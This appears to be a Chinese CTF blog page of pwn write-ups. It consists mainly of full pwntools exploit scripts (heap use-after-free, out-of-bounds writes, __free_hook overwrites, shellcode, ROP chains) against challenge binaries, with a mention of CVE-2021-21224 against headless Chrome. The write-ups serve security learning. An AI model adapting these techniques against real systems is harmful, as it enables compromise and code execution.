分类 writeups 下的文章

bytezoom

C++下的堆利用,对于有C++基础的人来说应该很快看出要点在于错误的使用了shared_ptr的裸指针,形成悬挂指针,进而UAF

EXP:

from pwn import *
import time

#p = process("./bytezoom", env = {"LD_PRELOAD":"./libc-2.31.so"})
p = remote("39.105.37.172", 30012)
libc = ELF("./libc-2.31.so")
context.log_level = "debug"


def create(_type, idx:int, name, age:bytes):
    p.sendlineafter(b"choice:\n", b"1")
    p.sendlineafter(b"cat or dog?\n", _type)
    p.sendlineafter(b"input index:\n", str(idx).encode())
    p.sendlineafter(b"name:\n", name)
    p.sendlineafter(b"age:\n", age)
    
def show_message(_type, idx):
    p.sendlineafter(b"choice:\n", b"2")
    p.sendlineafter(b"cat or dog?\n", _type)
    p.sendlineafter(b"input index:\n", str(idx).encode())
    
def into_manager():
    p.sendlineafter(b"choice:\n", b"3")
    
def quit_manager():
    p.sendlineafter(b"choice:\n", b"4")
    
def manage_select(_type, idx):
    p.sendlineafter(b"choice:\n", b"1")
    p.sendlineafter(b"select cat or dog?\n", _type)
    p.sendlineafter(b"input " + _type + b"'s index:\n", str(idx).encode())
    
def change_age(_type, add_years):
    p.sendlineafter(b"choice:\n", b"2")
    p.sendlineafter(b"select cat or dog?\n", _type)
    p.sendlineafter(b"you want to add\n", add_years)
    
def change_name(_type, new_name):
    p.sendlineafter(b"choice:\n", b"3")
    p.sendlineafter(b"select cat or dog?\n", _type)
    p.sendlineafter(b"please input new name:\n", new_name)

# base: 0x0000555555554000
# base: 0x0000555555554000+0x12340  cat list
# base: 0x0000555555554000+0x12380  dog list
# selected: 0x0000555555554000+0x122E0

def exp():
    # leak libc
    create(b"dog", 0, b"a"*8, b"1")
    into_manager()
    manage_select(b"dog", 0)
    quit_manager()
    create(b"dog", 0, b"b"*8, b"1") # free prev
    create(b"cat", 0, b"c"*8, b"1") # selected
    create(b"cat", 1, b"x"*0x400, b"1") 
    into_manager()
    #gdb.attach(p)
    #pause()
    change_age(b"dog", b"889")
    change_age(b"dog", b"1279")
    quit_manager()
    show_message(b"cat", 0)
    p.recvuntil(b"name:")
    libc_leak = u64(p.recv(8))
    libc_base = libc_leak - 0x70 - libc.symbols[b"__malloc_hook"]
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))
    
    # attack free_hook
    ## create 0x20 bin
    create(b"cat", 2, b"d"*0x50, b"1") 
    create(b"cat", 3, b"d"*0x50, b"1") 
    create(b"cat", 2, b"d"*0x30, b"1")
    create(b"cat", 3, b"d"*0x30, b"1") 
    into_manager()
    change_age(b"dog", b"160")
    manage_select(b"cat", 0)
    change_name(b"cat", p64(free_hook))
    quit_manager()
    ## get chunk at free_hook
    create(b"cat", 4, b"/bin/sh\x00"*(0x50//8), b"1") 
    create(b"cat", 5, p64(system)*(0x50//8), b"1") 
    print("free_hook:", hex(free_hook))
    ## get shell
    create(b"cat", 4, b"t"*0x100, b"1") 
    
    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

chatroom

混了个一血

headless chrome,用CVE-2021-21224打,最好用msf自身的反弹shell payload, shell_reverse_tcp 这个payload究极不稳定,连上就断

ByteCSMS

思路:

  1. 同样是涉及C++数据结构的pwn,问题出在Vector内部和外部用户自定义的计数方式可能出现不匹配的情况:Vector内部通过指针差值右移4位(除0x10,即元素大小)来计算元素个数;而外部则通过一个全局变量(total)保存元素个数;当用户使用name作为索引删除元素时会一次性删除所有name相同的元素,而外部变量只递减了1,这样可以构造total远大于(ptr2-ptr1)>>4
  2. 构造方式:add很多次name为/bin/sh的元素,致使Vector过大而存放在mmap出来的内存段,从而与libc有固定偏移;通过upload保存此时的Vector;通过name索引的方式remove掉name为/bin/sh的元素,再通过download把这样元素添加回来,以此往复可以将total的值增加非常大;由于通过index索引方式edit元素时,检查范围的最大边界是由total标定的,这就使得用户可以越界读写;
  3. 估计好越界位置读出libc某个rw段上的指针,计算出libc基址(这一步只是泄露所以要注意好恢复原本的值);然后同样估计好__free_hook的位置用edit写上system地址;最后一步upload剩余的元素,使得存放upload元素的Vector发生realloc,free掉原来的堆块,将堆块头部的/bin/sh作为参数执行system("/bin/sh")

EXP:

from pwn import *

#p = remote("39.105.63.142", 30011)
p = remote("39.105.37.172", 30011)
libc = ELF("./libc-2.31.so.6")

context.log_level = "debug"

def add(name, score:int):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"Enter the ctfer's name:\n", name)
    p.sendlineafter(b"Enter the ctfer's scores\n", str(score).encode())
    p.sendlineafter(b"enter the other to return\n", b"123")
    
def edit(n_or_i, new_name, new_score, way:str):
    p.sendlineafter(b"> ", b"3")
    p.recvuntil(b"2.Edit by index\n")
    if way == "name":
        p.sendline(b"1")
        p.sendline(n_or_i)
    elif way == "index":
        p.sendline(b"2")
        p.sendline(str(n_or_i).encode())
    else:
        return
    p.sendlineafter(b"Enter the new name:\n", new_name)
    p.sendlineafter(b"Enter the new score:\n", str(new_score).encode())
    
def remove(n_or_i, way:str):
    p.sendlineafter(b"> ", b"2")
    p.recvuntil(b"2.Remove by index\n")
    if way == "name":
        p.sendline(b"1")
        p.sendlineafter(b"to be deleted\n", n_or_i)
    elif way == "index":
        p.sendline(b"2")
        p.sendlineafter(b"Index?\n", str(n_or_i).encode())
    else:
        return
        
def upload():
    p.sendlineafter(b"> ", b"4")
        
def download():
    p.sendlineafter(b"> ", b"5")

# manager: 0x00007fffffffdbd0
# total: 0x0000555555607280
# base: 0x0000555555400000

def exp():
    p.sendlineafter(b"Password for admin:\n", b"\x00")
    while True:
        if p.recv(9) == b"Incorrect":
            p.sendlineafter(b"Password for admin:\n", b"\x00")
        else:
            break
    # leak addr
    add(b"/bin/sh", 100)
    add(b"/bin/sh", 100)
    for i in range(0x1000-2):
        add(b"/bin/sh", 100)
    upload()
    edit(0, b"aaaa", 100, "index")
    edit(1, b"aaaa", 100, "index")
    add(b"/bin/sh", 100)
    add(b"/bin/sh", 100)
    for i in range(90):
        remove(b"/bin/sh", "name")
        download()
    ## 358659 220931
    ## get addr
    p.sendlineafter(b"> ", b"3")
    p.recvuntil(b"2.Edit by index\n")
    p.sendline(b"2")
    #gdb.attach(p)
    #pause()
    p.sendlineafter(b"Index?\n", b"220931")
    #p.recv(0x30-2)
    p.recvuntil(b"220931\x09")
    libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
    #libc_base = libc_leak - 0x18b110
    libc_base = libc_leak - 0x18b2a0
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))
    #fix_addr = libc_base + 0x18ea70
    fix_addr = libc_base + 0x18ec00
    #gdb.attach(p)
    #pause()  
    p.sendlineafter(b"Enter the new name:\n", p64(libc_leak)+p64(fix_addr)[0:4])
    p.sendlineafter(b"Enter the new score:\n", str(u32(p64(fix_addr)[4:])).encode())
    #gdb.attach(p)
    #pause()
    
    # rewrite _free_hook
    ## 359601 221873
    #gdb.attach(p, "b *0x0000555555400000+0x1b9b\nc\n")
    edit(221873, p64(0)+p64(system)[0:4], u32(p64(system)[4:]), "index")
    print("free_hook:", hex(free_hook))
    #gdb.attach(p)
    #pause()
    
    ## get shell
    edit(0, b"/bin/sh", 100, "index")
    #gdb.attach(p, "b *0x0000555555400000+0x12dc\nc\n")
    remove(b"/bin/sh", "name")
    upload()
    print("free_hook:", hex(free_hook))
        
    p.sendline(b"cat flag;cat flag;cat flag;")
    p.interactive()

if __name__ == "__main__":
    exp()

不定期更新,先贴做出来的,部分题目复现出来再更新

0x00 前言

今年依然是第三

2021-09-27T08:29:59.png

0x01 Secure JIT II

分析

一个python语言子集的的JIT,可以生成x64汇编代码,题目给出了一个相对于原工程的diff文件,通过比对发现:题目版本删除了部分代码并在末尾通过mmap开辟一个可执行段,将汇编成二进制的机器码放到里面执行并取出返回值。

需要注意的是,在mmap中执行的时候是从段起始来运行,并不是以某个函数(如main)作为入口执行——这其实会产生一些问题。然而最大的问题还是出现在调用约定的实现上,经过测试,这个编译器并没有检查传入参数和函数声明时的参数是否匹配,且取用参数是通过[rbp+x]的方式取出。这导致了如果我们传入参数的数量小于被调用函数实际声明的参数数量,就会可能发生非预期的内存读写。理论上这可以泄露并修改返回地址。

由于打远程需要发送EOF结束,所以没办法getshell后输指令拿flag,需要准备orw shellcode或者rop。最终我选择了写shellcode。但是由于立即数赋值的时候有长度限制,如果不绕过长度限制则会导致输入的shellcode不连续,增大利用难度,所以在写shellcode的时候用了一些运算来绕过限制。

最后,最关键的问题是,shellcode写到哪。实际上如果我们构造一个三层的调用栈,可以很容易通过参数越界,使得某个参数在取值时正好对应到ret地址的位置。这不仅可以让我们直接读写ret地址本身,更可以利用数组赋值的方式读写ret地址指向的内存。利用这两个写配合起来,就可顺理成章的返回到shellcode头部。

EXP

exp.p64

def test3():
    test2()

def test2():
    test()

def test(a, b, c, d, e, f, g, h, i, j):
    i = i - 9
    i = i + 0x30
    
    tmp = 0x58026a * 0x100 + 0x67
    tmp2 = tmp * 0x10000000
    tmp3 = tmp2 * 0x10
    tmp4 = 0x616c66 * 0x100 + 0x68
    tmp5 = tmp3 + tmp4
    i[0] = tmp5
    
    tmp = 0x50f99 * 0x100 + 0xf6
    tmp2 = tmp * 0x10000000
    tmp3 = tmp2 * 0x10
    tmp4 = 0x31e789 * 0x100 + 0x48
    tmp5 = tmp3 + tmp4
    i[1] = tmp5
    
    tmp = 0x89487f * 0x100 + 0xff
    tmp2 = tmp * 0x10000000
    tmp3 = tmp2 * 0x10
    tmp4 = 0xffffba * 0x100 + 0x41
    tmp5 = tmp3 + tmp4
    i[2] = tmp5
    
    tmp = 0x995f01 * 0x100 + 0x6a
    tmp2 = tmp * 0x10000000
    tmp3 = tmp2 * 0x10
    tmp4 = 0x58286a * 0x100 + 0xc6
    tmp5 = tmp3 + tmp4
    i[3] = tmp5
    
    #i[0] = 0x58026a67 616c6668
    #i[1] = 0x50f99f6 31e78948
    #i[2] = 0x89487fff ffffba41
    #i[3] = 0x995f016a 58286ac6
    
    i[4] = 0x50f
    
    return 5
    
def main():
    putc(0xa)

exp.py

from pwn import *
import time

p = remote("118.195.199.18",40404)
#p = remote("127.0.0.1",40404)
libc = ELF("./libc.so.6")

context.log_level = "debug"
context.arch = "amd64"

p.recvuntil(b"`python3 pyast64.py <xxx>`.\n")

with open("./poc2.p64", "r") as f:
    p.send(f.read())
p.shutdown('send')
    
p.interactive()

shellcode 调用的 cat flag

/* push b'flag\x00' */
push 0x67616c66
/* call open('rsp', 0, 'O_RDONLY') */
push (2) /* 2 */
pop rax
mov rdi, rsp
xor esi, esi /* 0 */
cdq /* rdx=0 */
syscall
/* call sendfile(1, 'rax', 0, 2147483647) */
mov r10d, 0x7fffffff
mov rsi, rax
push (40) /* 0x28 */
pop rax
push 1
pop rdi
cdq /* rdx=0 */
syscall

0x02 babaheap

分析

没咋做过musl的东西,后来兴起的风气。其实没啥意思,之前正好做过一些嵌入式库的分析。基本这类库的堆管理实现都类似dlmalloc。总结起来就是没hook,链表种类少,链表检查松散,基本上打好堆数据结构基础就容易推理出利用手段。

参考资料:https://juejin.cn/post/6844903574154002445#heading-4

一边学一边翻源码,思路大概如下:

  1. 程序edit功能有UAF
  2. musl初始堆位于libc的bss段,UAF给chunk的fd指针的最低位字节写0(因为输出时一定会有0截断)使其指向我们申请的别的可控堆块,然后unlink,并在可控堆块中利用view功能读出指针地址即可算出libc基址
  3. 通过unlink的方式往main_arena-8main_arena-0x10上写两个指针(需要指向合法的可写地址)以便后续通过两次unlink拿到位于main_arena位置的堆块(注意alloca会清空分配到的内存,导致arena被破坏,需要视具体情况做一些修复)
  4. 通过double unlink的方式让libc environ中保存的值被拷贝到main_arena中某个header指针的位置(相关的堆数据结构可以看看源码),然后通过上一步得到的位于main_arena的堆块读出栈地址,计算出main_ret
  5. 同样用写两个有效指针到main_ret附近
  6. 同样用双unlink取到包含main_ret的堆块,写ORW的ROP链读flag。注意此时会破坏程序栈上保存的结构体数组指针,到时无法进行后续堆操作,所以拿到这个堆块的时候就要同时写好rop链

调试过程中不算顺利,踩了很多坑,搞到凌晨6点(人困起来效率确实不高奥hhh,加上之前在0VM那题消磨了不少时间

EXP

from pwn import *

#p = process("./babaheap_patch")
p = remote("1.116.236.251", 11124)
elf = ELF("./babaheap")
libc = ELF("./ld-musl-x86_64.so.1")
context.log_level = "debug"
context.arch = "amd64"

def allocate(size:int, content):
    p.sendlineafter(b"Command: ", b"1")
    p.sendlineafter(b"Size: ", str(size).encode())
    p.sendlineafter(b"Content: ", content)
    
def update(idx:int, size:int, content):
    p.sendlineafter(b"Command: ", b"2")
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())
    p.sendlineafter(b"Content: ", content)
    
def delete(idx:int):
    p.sendlineafter(b"Command: ", b"3")
    p.sendlineafter(b"Index: ", str(idx).encode())

def view(idx:int):
    p.sendlineafter(b"Command: ", b"4")
    p.sendlineafter(b"Index: ", str(idx).encode())

# base: 0x0000555555554000
# heap: 0x00007ffff7ffe310
# tele 0x00007ffff7ffe310 100
# arena: 0x00007ffff7ffba40

def exp():
    # leak libc
    allocate(0x10, b"aaaaaaaa") #0
    allocate(0xe0, b"sep") #1 sep leak
    allocate(0x10, b"aaaaaaaa") #2
    allocate(0x10, b"sep") #3 sep
    delete(0)
    delete(2)
    update(0, 1, b"") #  modify next ptr to chunk1
    allocate(0x10, b"xxxxxxxx") #0  write ptr into chunk1
    view(1)
    p.recvuntil(b"Chunk[1]: ")
    p.recv(0xd8)
    leak = u64(p.recv(8))
    libc_base = leak - 0xb0a40
    environ = libc_base + 0xb2f38
    heap_base = libc_base + 0xb3310
    print("leak:", hex(leak))
    print("libc_base:", hex(libc_base))
    print("heap_base:", hex(heap_base))
    print("environ:", hex(environ))
    
    # leak environ
    ## write junk ptr
    allocate(0x30, b"bbbbbbbb") #2
    allocate(0x30, b"sep2") #4
    delete(2)
    #ptr1 = 0x00007ffff7ffba38-0x20
    #ptr2 = 0x00007ffff7ffba38-0x10
    ptr1 = libc_base+0xb0a38-0x20
    ptr2 = libc_base+0xb0a38-0x10
    update(2, 0x10, p64(ptr1)+p64(ptr2))
    allocate(0x30, b"xxx") #2
    ## get chunk of arena
    allocate(0x100, b"bbbbbbbb") #5
    allocate(0x50, b"sep2") #6
    delete(5)
    #gdb.attach(p)
    #pause()
    ptr1 = libc_base+0xb0a30-0x10
    ptr2 = libc_base+0xb0b00
    update(5, 0x10, p64(ptr1)+p64(ptr2)) 
    allocate(0x100, b"yyy") #5
    allocate(0x100, p64(0)*2+p64(0x9000000000)) #7 fix bitmap
    ## get leak envriron
    allocate(0x30, b"ccc") #8
    allocate(0x50, b"sep") #9
    delete(8)
    ptr1 = environ-0x10
    update(8, 0x7, p64(ptr1)[0:6]) 
    allocate(0x30, b"ccc") #8
    allocate(0x30, b"ccc") #10
    view(7)
    ## get stack addr
    p.recvuntil(b"Chunk[7]: ")
    p.recv(0x38)
    stack_leak = u64(p.recv(8))
    print("stack_leak:", hex(stack_leak))
    
    # build rop
    pop_rdi_ret = libc_base + 0x15291
    pop_rsi_ret = libc_base + 0x1d829
    pop_rdx_ret = libc_base + 0x2cdda
    libc_open = libc_base + 0x1f920
    libc_read = libc_base + 0x72d10
    libc_write = libc_base + 0x73450
    main_ret = stack_leak - 0x40
    
    ## modify chain header
    ## write junk ptr
    allocate(0x50, b"dddddddd") #11
    allocate(0xf0, b"1") #12
    allocate(0x100, b"sep2") #13
    delete(11)
    ptr1 = main_ret-0x28
    ptr2 = main_ret-0x18
    update(11, 0x10, p64(ptr1)+p64(ptr2))
    allocate(0x50, b"xxx") #11
    
    ## rop chain
    rop = p64(pop_rdi_ret) + p64(0)
    rop += p64(pop_rsi_ret) + p64(heap_base)
    rop += p64(pop_rdx_ret) + p64(8)
    rop += p64(libc_read)
    rop += p64(pop_rdi_ret) + p64(heap_base)
    rop += p64(pop_rsi_ret) + p64(0)
    rop += p64(libc_open)
    rop += p64(pop_rdi_ret) + p64(3)
    rop += p64(pop_rsi_ret) + p64(heap_base)
    rop += p64(pop_rdx_ret) + p64(30)
    rop += p64(libc_read)
    rop += p64(pop_rdi_ret) + p64(1)
    rop += p64(pop_rsi_ret) + p64(heap_base)
    rop += p64(pop_rdx_ret) + p64(30)
    rop += p64(libc_write)
    
    ## get ret chunk
    delete(12)
    ptr1 = main_ret-0x20
    ptr2 = libc_base+0xb0ae8
    update(12, 0x10, p64(ptr1)+p64(ptr2)) 
    allocate(0xf0, b"yyy") #12
    allocate(0xf0, rop) #13
    print("stack_leak:", hex(stack_leak))
    print("main_ret:", hex(main_ret))
    
    #gdb.attach(p, "b *0x0000555555554000+0x1ae2\nc\n")
    
    p.sendline(b"5")
    p.sendline(b"./flag\x00\x00")
    
    p.interactive()

if __name__ == "__main__":
    exp()

ezheap

题目实现了一种新的、思路和以往完全不同的堆管理器,并且保护全开

手动恢复出来了部分相关结构体:

远程EXP:

from pwn import *
import struct

#p = process(["./ld-2.27.so", "./ezheap"], env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("123.60.25.24", 20077)
elf = ELF("./ezheap")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")
context.log_level = "debug"

BYTE_ARR = 1
UINT16_ARR = 2
UINT32_ARR = 3
FLOAT_ARR = 4

def alloc(a_type:int, size:int, idx:int):
    p.sendlineafter(b"enter your choice>>\n", b"1")
    p.sendlineafter(b"which type >>\n", str(a_type).encode())
    p.sendlineafter(b"size>>\n", str(size).encode())
    p.sendlineafter(b"idx>>\n", str(idx).encode())
    
def edit(a_type:int, idx:int, ele_idx:int, value):
    p.sendlineafter(b"enter your choice>>\n", b"2")
    p.sendlineafter(b"which type >>\n", str(a_type).encode())
    p.sendlineafter(b"idx>>\n", str(idx).encode())
    p.sendlineafter(b"element_idx>>\n", str(ele_idx).encode())
    p.sendlineafter(b"value>>\n", value)
    
def view(a_type:int, idx:int, ele_idx:int):
    p.sendlineafter(b"enter your choice>>\n", b"3")
    p.sendlineafter(b"which type >>\n", str(a_type).encode())
    p.sendlineafter(b"idx>>\n", str(idx).encode())
    p.sendlineafter(b"element_idx>>\n", str(ele_idx).encode())
    
def delete(a_type:int, idx:int):
    p.sendlineafter(b"enter your choice>>\n", b"4")
    p.sendlineafter(b"which type >>\n", str(a_type).encode())
    p.sendlineafter(b"idx>>\n", str(idx).encode())

# base: 0xf7fc7000
# uint16:    0xf7fc7000+0x4040
# uint8:     0xf7fc7000+0x5040
# uint32:    0xf7fc7000+0x6040
# float:     0xf7fc7000+0x7040

# 0xf7fc7000+0x9060

def exp():
    # leak new_heap_addr
    ## chain
    alloc(UINT32_ARR,  0xff8, 0)
    alloc(UINT32_ARR,  0xff8, 1)
    ## free chain
    delete(UINT32_ARR, 0)
    delete(UINT32_ARR, 1)
    ## show ptr
    alloc(UINT32_ARR,  0xff8, 4) # help chunk
    view(UINT32_ARR, 4, 0)
    p.recvuntil(b"value>>\n")
    leak_addr = int(p.recvuntil(b"\n", drop=True), 10)
    libc_base = (leak_addr & 0xfffff000) + 0x5000
    system = libc_base + libc.symbols["system"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    one_gadget = libc_base + 0x13563f
    
    print("leak_addr:", hex(leak_addr))
    print("libc_base:", hex(libc_base))
    ## padding, no use
    alloc(UINT32_ARR,  0x100, 5)
    
    # leak elf_base
    alloc(UINT32_ARR,  0x4, 0)
    alloc(UINT32_ARR,  0x4, 1)
    delete(UINT32_ARR, 0)
    delete(UINT32_ARR, 1)
    target_header = libc_base - 0x10000
    pre_leak_addr = target_header + 0x18 # contant elf addr
    fake_chunk_hdr = target_header | (0x4+0x4)
    print("target_header:", hex(target_header))
    print("pre_leak_addr:", hex(pre_leak_addr))
    print("fake_chunk_hdr:", hex(fake_chunk_hdr))

    float_payload = struct.unpack("<d", p32(fake_chunk_hdr)+p32(pre_leak_addr))[0]
    print("float_payload:", float_payload)
    for i in range(0x800):
        edit(FLOAT_ARR, 0x82d, i, str(float_payload).encode())
    alloc(UINT32_ARR,  0x4, 2)
    alloc(UINT32_ARR,  0x4, 3)
    view(UINT32_ARR, 3, 0)
    p.recvuntil(b"value>>\n")
    elf_leak = int(p.recvuntil(b"\n", drop=True), 10)
    elf_base = elf_leak - 0x9060
    atoll_got = elf_base + elf.got["atoll"]
    ## build help_chunk
    alloc(UINT32_ARR,  0x2000, 6) # help chunk
    uint32_item_5 = elf_base + 0x6054
    help_chunk = libc_base - 0x16000
    print("uint32_item_5:", hex(uint32_item_5))
    print("elf_leak:", hex(elf_leak))
    print("elf_base:", hex(elf_base))
    #gdb.attach(p)
    #pause()
    
    # attack uint32_array
    alloc(UINT32_ARR,  0x4, 0)
    alloc(UINT32_ARR,  0x4, 1)
    delete(UINT32_ARR, 0)
    delete(UINT32_ARR, 1)

    float_payload = struct.unpack("<d", p32(fake_chunk_hdr)+p32(uint32_item_5-4))[0]
    print("float_payload:", float_payload)
    for i in range(0x800):
        edit(FLOAT_ARR, 0x82d, i, str(float_payload).encode())
    alloc(UINT32_ARR,  0x4, 2)
    alloc(UINT32_ARR,  0x4, 3)
    edit(UINT32_ARR, 3, 0, str(help_chunk).encode())
    print("help_chunk:", hex(help_chunk))
    print("uint32_item_5:", hex(uint32_item_5))
    
    # leak stack && build rop
    envrion = libc_base + libc.symbols["environ"]
    print("envrion:", hex(envrion))
    edit(UINT32_ARR, 6, 0, str(4).encode()) # item_size
    edit(UINT32_ARR, 6, 1, str(0xff).encode()) # item_num
    edit(UINT32_ARR, 6, 2, str(envrion).encode()) # array_ptr
    ## leak environ
    view(UINT32_ARR, 5, 0)
    p.recvuntil(b"value>>\n")
    stack_leak = int(p.recvuntil(b"\n", drop=True), 10)
    main_ret = stack_leak - 0xa4
    ## build fake array
    edit(UINT32_ARR, 6, 0, str(4).encode()) # item_size
    edit(UINT32_ARR, 6, 1, str(0xff).encode()) # item_num
    edit(UINT32_ARR, 6, 2, str(main_ret).encode()) # array_ptr
    ## write rop
    edit(UINT32_ARR, 5, 0, str(system).encode()) # system
    edit(UINT32_ARR, 5, 1, str(0xdeadbeef).encode()) # fake ret
    edit(UINT32_ARR, 5, 2, str(binsh).encode()) # /bin/sh
    print("main_ret:", hex(main_ret))
    
    p.sendline(b"5") # exit
    p.sendline("cat flag")
    p.interactive()

if __name__ == "__main__":
    exp()

sharing

C++题,祖传盲调手艺不能丢😁,逆向去tm

from pwn import *

#p = process("./sharing", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("124.70.137.88", 30000)
elf = ELF("./sharing")
libc = ELF("./libc-2.27.so")
context.log_level = "debug"
context.arch = "amd64"

hint_str = p32(0x2F767991)+p32(0)*3

def add(idx:int, size:int):
    p.sendlineafter(b"Choice: ", b"1")
    p.sendlineafter(b"Idx: ", str(idx).encode())
    p.sendlineafter(b"Sz: ", str(size).encode())

def send(_from:int, _to:int):
    p.sendlineafter(b"Choice: ", b"2")
    p.sendlineafter(b"From: ", str(_from).encode())
    p.sendlineafter(b"To: ", str(_to).encode())    
    
def show(idx:int):
    p.sendlineafter(b"Choice: ", b"3")
    p.sendlineafter(b"Idx: ", str(idx).encode())
    
def edit(idx:int, content):
    p.sendlineafter(b"Choice: ", b"4")
    p.sendlineafter(b"Idx: ", str(idx).encode())
    p.sendlineafter(b"Content: ", content)
    
def hint(addr:int):
    p.sendlineafter(b"Choice: ", b"57005")
    p.sendlineafter(b"Hint: ", hint_str)
    p.sendlineafter(b"Addr: ", str(addr).encode())

# base: 0x0000555555554000
# 0x0000555555554000+0x207260

def exp():
    #gdb.attach(p, "b *0x0000555555554000+0x1ce8\nc\n") #hint
    
    # leak heap
    ## build 0x30 free chain
    add(0, 0x20)
    add(1, 0x20)
    add(0, 0x30)
    add(1, 0x30)
    ## leak value
    add(2, 0x20)
    show(2)
    heap_leak = u64(p.recv(8))
    heap_base = heap_leak - 0x135d0 # maybe diff
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))
    
    # leak libc
    add(3, 0x410)
    add(4, 0x10)
    add(3, 0x10)
    ## leak value
    add(3, 0x410)
    show(3)
    libc_leak = u64(p.recv(8))
    libc_base = libc_leak - 0x70 - libc.symbols[b"__malloc_hook"]
    __free_hook = libc_base + libc.symbols[b"__free_hook"]
    system = libc_base + libc.symbols[b"system"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    
    # uaf attack
    ## build 0x50 free chain (target)
    add(5, 0x40)
    add(6, 0x40)
    add(5, 0x70)
    add(6, 0x70)
    ## sender
    add(7, 0x10)
    edit(7, b"from")
    ## receiver
    add(8, 0x10)
    edit(8, b"to")
    ## modify receiver
    receiver_obj = heap_base + 0x13dd0
    receiver_content_ptr = receiver_obj + 0x18
    dec_times_1 = 0xb0 // 2
    dec_times_2 = (0xe-0xc) // 2
    ### dec the first byte
    for i in range(dec_times_1):
        hint(receiver_content_ptr)
    ### dec the second byte
    for i in range(dec_times_2):
        hint(receiver_content_ptr+1)
    ### modify tcache key
    tcache_key_addr = heap_base + 0x13c58
    hint(tcache_key_addr)
    print("tcache_key_addr:", hex(tcache_key_addr))
    print("receiver_obj:", hex(receiver_obj))
    print("receiver_content_ptr:", hex(receiver_content_ptr))
    ## send && rewrite tcache bin
    send(7, 8)
    add(9, 0x40)
    edit(9, p64(__free_hook))
    ## get free_hook
    add(10, 0x40)
    add(11, 0x40) # free_hook
    edit(11, p64(system))
    print("__free_hook:", hex(__free_hook))
    print("system:", hex(system))
    
    # get shell
    add(12, 0x10)
    edit(12, b"/bin/sh\x00")
    add(12, 0x10) 
    
    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

Experience

这是一个32bit MIPS大端序的httpd。比赛过程挺曲折的,一开始本地调试用的qemu-user没管随机化问题,于是通过在uClibc中手动审计找了一个类似one_gadget的东西拿了shell。但是后来试了试发现远程起在qemu-system,于是就索性试试1/4096看能不能爆到——很遗憾没有hhh。

知道远程有随机化后我尝试过几个思路,但是都是差最后一点没构造成功

Reverse

程序主要逻辑其实就是:解析请求->handle URL->不可描述的一堆处理

初步分析后,发现其中被能handle的请求有三种:

  1. GET请求/index.html

    • 通过一个函数返回./index.html文件中的内容(这是我其中一个利用思路来源)
    if (iVar3 != 0) {
      if ((((req_filename._0_4_ != 0x2f696e64) || (req_filename._4_4_ != 0x65782e68)) ||
          (req_filename._8_4_ != 0x746d6c00)) && (req_filename._0_2_ != 0x2f00)) {
        while ((vuln_ptr != (char *)0x0 && (line_buf._0_2_ != 0xa00))) {
          vuln_ptr = (char *)read_line(line_buf,0x400);
        }
        http_resp_404_notfound();
        return;
      }
      do_read_file("./index.html");
      return;
  1. POST请求/login.html

    • 必须带有两个请求头:Content-LengthContent-WWidth
    • 必须要满足:Content-Length == Content-WWidth*Content-WWidth*2
    • 请求体大小为Content-Length,且由0,1串构成,其中可用空格和回车分割
  2. GET请求/encode.html?info=

    • 前提条件是已经完成login,login的状态保存在一个全局变量

    • 如果已经login则会把info参数中的信息进行encode

"Login" function analysis

一开始的难点是分析程序如何解析login请求体的内容,主要实现在0x12500x5160中。通过查看0x5160所引用的一些常量中发现了两个东西:

  1. base45编码用的表:

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:

  1. 一个奇怪的7x7矩阵:
1 1 1 1 1 1 1
1 0 0 0 0 0 1
1 0 1 1 1 0 1
1 0 1 1 1 0 1
1 0 1 1 1 0 1
1 0 0 0 0 0 1
1 1 1 1 1 1 1

从读取请求体的逻辑上看基本可以确定是读取的一个NxN矩阵,N值为Content-WWidth。在后续过程中程序用上述7x7矩阵和输入矩阵多个位置进行了比对。在查阅base45实现的过程中发现base45常常被用在某些二维码识别模块,遂恍然大悟:程序在做的其实是解析0,1串表示的二维码。上述比较过程其实就是确定二维码三个角上的定位点。

我们只要将passwd用qrcode库编码后POST到/login.html即可实现登录。

password前四位是启动时随机生成的,后四位是一个固定的程序地址。如果能能拿到passwd即同时完成了程序地址leak。

观察二维码解码后处理的逻辑:

      if (((content_length - 1U < 0xb40) && (content_wwidth - 1U < 0x26)) &&
         (content_wwidth * content_wwidth * 2 == content_length)) {
        set_glo_mem(0,content_wwidth);
        passwd._0_4_ = 0;
        passwd._4_4_ = 0;
        passwd._8_4_ = 0;
        passwd._12_4_ = 0;
        passwd._16_4_ = 0;
        passwd._20_4_ = 0;
        passwd._24_4_ = 0;
        passwd._28_4_ = 0;
        passwd._32_4_ = 0;
        strncpy(passwd,glo_mem_2,0x20);
        uVar4 = strcmp(glo_rand_byte_array,passwd);
        passwd._32_4_ = passwd._32_4_ & 0xffffff | (uVar4 & 0xff) << 0x18;
        if ((uVar4 & 0xff) != 0) {
          memset(input_data,0,0x40);
          sprintf(input_data,"Wrong password: %s",passwd);
          http_resp_500_internal_error(input_data);
          return;
        }
        glo_is_login = 1;
        http_resp_login_success();
        return;

strcmp的过程中第一个不相等的字符与正确字符的差值会被保存到uVar4,经过一个运算后存放在passwd[32]的位置上,而passwd最大长度为0x20,这样会导致这个值被leak出来,于是可以通过侧信道爆破的方式计算出正确的passwd值。

"Encode" function analysis

